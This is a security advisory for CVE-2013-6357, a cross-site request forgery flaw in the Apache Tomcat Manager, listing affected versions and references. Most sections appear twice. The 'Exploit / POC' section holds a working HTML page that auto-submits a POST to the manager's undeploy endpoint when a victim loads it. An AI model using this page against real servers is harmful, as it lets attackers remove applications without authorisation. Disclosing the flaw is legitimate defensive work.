Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability
BID:63515
Info
Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 63515 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-6357 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 24 2013 12:00AM |
| Updated: | Oct 24 2013 12:00AM |
| Credit: | Ivano Binetti and Gianmarco Pirozzi |
| Vulnerable: |
Apache Tomcat 5.5.25 Apache Tomcat 5.5.24 Apache Tomcat 5.5.23 Apache Tomcat 5.5.22 Apache Tomcat 5.5.21 Apache Tomcat 5.5.20 Apache Tomcat 5.5.19 Apache Tomcat 5.5.18 Apache Tomcat 5.5.17 Apache Tomcat 5.5.16 Apache Tomcat 5.5.15 Apache Tomcat 5.5.14 Apache Tomcat 5.5.13 Apache Tomcat 5.5.12 Apache Tomcat 5.5.11 Apache Tomcat 5.5.10 Apache Tomcat 5.5.9 Apache Tomcat 5.5.8 Apache Tomcat 5.5.7 Apache Tomcat 5.5.6 Apache Tomcat 5.5.5 Apache Tomcat 5.5.4 Apache Tomcat 5.5.3 Apache Tomcat 5.5.2 Apache Tomcat 5.5.1 Apache Tomcat 5.5 Apache Tomcat 5.4 Apache Tomcat 5.3 Apache Tomcat 5.2 Apache Tomcat 5.1 Apache Tomcat 5.0.31 Apache Tomcat 5.0.30 Apache Tomcat 5.0.28 Apache Tomcat 5.0.19 Apache Tomcat 5.0.16 Apache Tomcat 5.0.15 Apache Tomcat 5.0.14 Apache Tomcat 5.0.13 Apache Tomcat 5.0.12 Apache Tomcat 5.0.11 Apache Tomcat 5.0.10 Apache Tomcat 5.0.9 Apache Tomcat 5.0.8 Apache Tomcat 5.0.7 Apache Tomcat 5.0.6 Apache Tomcat 5.0.5 Apache Tomcat 5.0.4 Apache Tomcat 5.0.2 Apache Tomcat 5.0.1 Apache Tomcat 5.0 Apache Tomcat 4.1.40 Apache Tomcat 4.1.39 Apache Tomcat 4.1.38 Apache Tomcat 4.1.37 Apache Tomcat 4.1.36 Apache Tomcat 4.1.35 Apache Tomcat 4.1.34 Apache Tomcat 4.1.32 Apache Tomcat 4.1.31 Apache Tomcat 4.1.30 Apache Tomcat 4.1.29 Apache Tomcat 4.1.28 Apache Tomcat 4.1.27 Apache Tomcat 4.1.24 Apache Tomcat 4.1.12 Apache Tomcat 4.1.10 Apache Tomcat 4.1 Apache Tomcat 4.0.7 Apache Tomcat 4.0.6 Apache Tomcat 4.0.5 Apache Tomcat 4.0.4 Apache Tomcat 4.0.3 Apache Tomcat 4.0.2 Apache Tomcat 4.0.1 Apache Tomcat 3.3.2 Apache Tomcat 3.3.1 Apache Tomcat 3.3 Apache Tomcat 3.2.4 Apache Tomcat 3.2.3 Apache Tomcat 3.2.1 Apache Tomcat 3.2 Apache Tomcat 3.1.1 Apache Tomcat 3.1 Apache Tomcat 3.0 |
| Not Vulnerable: | |
Discussion
Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability
Apache Tomcat is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
Apache Tomcat 5.5.25 and prior are vulnerable; other versions may also be affected.
Apache Tomcat is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
Apache Tomcat 5.5.25 and prior are vulnerable; other versions may also be affected.
Exploit / POC
Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability
To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.
The following example request is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to Undeploy an Application</H2>
<form method="POST" name="form0" action="http://www.example.com/manager/html/undeploy?path=/<name_of_application_to_undeploy>">
</form>
</body>
</html>
To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.
The following example request is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to Undeploy an Application</H2>
<form method="POST" name="form0" action="http://www.example.com/manager/html/undeploy?path=/<name_of_application_to_undeploy>">
</form>
</body>
</html>
Solution / Fix
Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability
References:
References:
- Apache Tomcat 5.5.25 CSRF Vulnerabilities (Ivano Binetti and Gianmarco Pirozzi)
- Apache Tomcat Homepage (Apache)